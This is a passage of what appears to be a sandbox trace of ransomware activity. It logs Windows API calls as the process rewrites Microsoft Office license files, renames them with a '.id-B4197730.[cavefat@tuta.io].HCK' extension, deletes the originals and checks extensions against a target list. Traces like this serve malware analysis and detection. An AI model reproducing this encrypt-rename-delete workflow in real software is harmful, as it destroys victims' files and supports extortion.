lpNewFilePointer=0x0) returned 1 [0241.140] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0241.171] GetLastError () returned 0x0 [0241.172] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d54, lpOverlapped=0x0) returned 1 [0241.185] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0241.186] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.186] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x116, lpOverlapped=0x0) returned 1 [0241.186] SetEndOfFile (hFile=0x548) returned 1 [0241.186] CloseHandle (hObject=0x548) returned 1 [0241.187] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.187] SetEndOfFile (hFile=0x4b8) returned 1 [0241.188] CloseHandle (hObject=0x4b8) returned 1 [0241.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1 [0241.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.190] lstrlenW (lpString=".doc") returned 4 [0241.190] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".docx") returned 5 [0241.190] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.190] lstrlenW (lpString=".pdf") returned 4 [0241.190] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".xls") returned 4 [0241.190] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".xlsx") returned 5 [0241.190] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.190] lstrlenW (lpString=".ppt") returned 4 [0241.190] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.190] lstrlenW (lpString=".zip") returned 4 [0241.190] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".rar") returned 4 [0241.190] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".bz2") returned 4 [0241.190] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".7z") returned 3 [0241.190] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.190] lstrlenW (lpString=".dbf") returned 4 [0241.190] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.190] lstrlenW (lpString=".1cd") returned 4 [0241.190] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.190] lstrlenW (lpString=".jpg") returned 4 [0241.190] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.190] lstrlenW (lpString=".doc") returned 4 [0241.190] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".docx") returned 5 [0241.190] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.190] lstrlenW (lpString=".pdf") returned 4 [0241.190] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".xls") returned 4 [0241.190] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.190] lstrlenW (lpString=".xlsx") returned 5 [0241.191] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.191] lstrlenW (lpString=".ppt") returned 4 [0241.191] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.191] lstrlenW (lpString=".zip") returned 4 [0241.191] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.191] lstrlenW (lpString=".rar") returned 4 [0241.191] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.191] lstrlenW (lpString=".bz2") returned 4 [0241.191] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.191] lstrlenW (lpString=".7z") returned 3 [0241.191] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.191] lstrlenW (lpString=".dbf") returned 4 [0241.191] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.191] lstrlenW (lpString=".1cd") returned 4 [0241.191] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0241.191] lstrlenW (lpString=".jpg") returned 4 [0241.191] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.191] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.191] lstrlenW (lpString="MondoR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0241.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.192] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11582) returned 1 [0241.192] CloseHandle (hObject=0x4b8) returned 1 [0241.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0241.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.192] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.192] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0241.193] GetLastError () returned 0x0 [0241.193] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0241.205] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0241.206] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.206] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0241.206] SetEndOfFile (hFile=0x548) returned 1 [0241.206] CloseHandle (hObject=0x548) returned 1 [0241.206] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.206] SetEndOfFile (hFile=0x4b8) returned 1 [0241.210] CloseHandle (hObject=0x4b8) returned 1 [0241.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1 [0241.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.214] lstrlenW (lpString=".doc") returned 4 [0241.214] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString=".docx") returned 5 [0241.214] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.214] lstrlenW (lpString=".pdf") returned 4 [0241.214] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString=".xls") returned 4 [0241.214] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString=".xlsx") returned 5 [0241.214] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.214] lstrlenW (lpString=".ppt") returned 4 [0241.214] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.214] lstrlenW (lpString=".zip") returned 4 [0241.214] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString=".rar") returned 4 [0241.214] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString=".bz2") returned 4 [0241.214] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString=".7z") returned 3 [0241.214] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.214] lstrlenW (lpString=".dbf") returned 4 [0241.214] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.214] lstrlenW (lpString=".1cd") returned 4 [0241.214] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.215] lstrlenW (lpString=".jpg") returned 4 [0241.215] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.215] lstrlenW (lpString=".doc") returned 4 [0241.215] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString=".docx") returned 5 [0241.215] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.215] lstrlenW (lpString=".pdf") returned 4 [0241.215] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString=".xls") returned 4 [0241.215] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString=".xlsx") returned 5 [0241.215] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.215] lstrlenW (lpString=".ppt") returned 4 [0241.215] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.215] lstrlenW (lpString=".zip") returned 4 [0241.215] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString=".rar") returned 4 [0241.215] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString=".bz2") returned 4 [0241.215] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString=".7z") returned 3 [0241.215] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.215] lstrlenW (lpString=".dbf") returned 4 [0241.215] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.215] lstrlenW (lpString=".1cd") returned 4 [0241.215] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0241.215] lstrlenW (lpString=".jpg") returned 4 [0241.215] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.215] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.215] lstrlenW (lpString="MondoR_Retail-pl.xrm-ms") returned 23 [0241.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.217] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10627) returned 1 [0241.217] CloseHandle (hObject=0x534) returned 1 [0241.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220 [0241.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.217] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.217] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.218] GetLastError () returned 0x0 [0241.218] ReadFile (in: hFile=0x534, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2983, lpOverlapped=0x0) returned 1 [0241.220] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2990, lpOverlapped=0x0) returned 1 [0241.221] ReadFile (in: hFile=0x534, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.221] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x102, lpOverlapped=0x0) returned 1 [0241.221] SetEndOfFile (hFile=0x4b8) returned 1 [0241.221] CloseHandle (hObject=0x4b8) returned 1 [0241.221] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.221] SetEndOfFile (hFile=0x534) returned 1 [0241.223] CloseHandle (hObject=0x534) returned 1 [0241.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1 [0241.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.224] lstrlenW (lpString=".doc") returned 4 [0241.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.224] lstrlenW (lpString=".docx") returned 5 [0241.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.224] lstrlenW (lpString=".pdf") returned 4 [0241.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.224] lstrlenW (lpString=".xls") returned 4 [0241.224] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.224] lstrlenW (lpString=".xlsx") returned 5 [0241.224] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.224] lstrlenW (lpString=".ppt") returned 4 [0241.224] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.224] lstrlenW (lpString=".zip") returned 4 [0241.224] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.224] lstrlenW (lpString=".rar") returned 4 [0241.224] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.224] lstrlenW (lpString=".bz2") returned 4 [0241.224] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString=".7z") returned 3 [0241.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString=".dbf") returned 4 [0241.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString=".1cd") returned 4 [0241.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString=".jpg") returned 4 [0241.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString=".doc") returned 4 [0241.225] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString=".docx") returned 5 [0241.225] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.225] lstrlenW (lpString=".pdf") returned 4 [0241.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString=".xls") returned 4 [0241.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString=".xlsx") returned 5 [0241.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.225] lstrlenW (lpString=".ppt") returned 4 [0241.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString=".zip") returned 4 [0241.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString=".rar") returned 4 [0241.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString=".bz2") returned 4 [0241.225] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString=".7z") returned 3 [0241.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString=".dbf") returned 4 [0241.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString=".1cd") returned 4 [0241.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0241.225] lstrlenW (lpString=".jpg") returned 4 [0241.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.225] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.225] lstrlenW (lpString="MondoR_Retail-ppd.xrm-ms") returned 24 [0241.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.226] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=26462) returned 1 [0241.226] CloseHandle (hObject=0x534) returned 1 [0241.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220 [0241.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 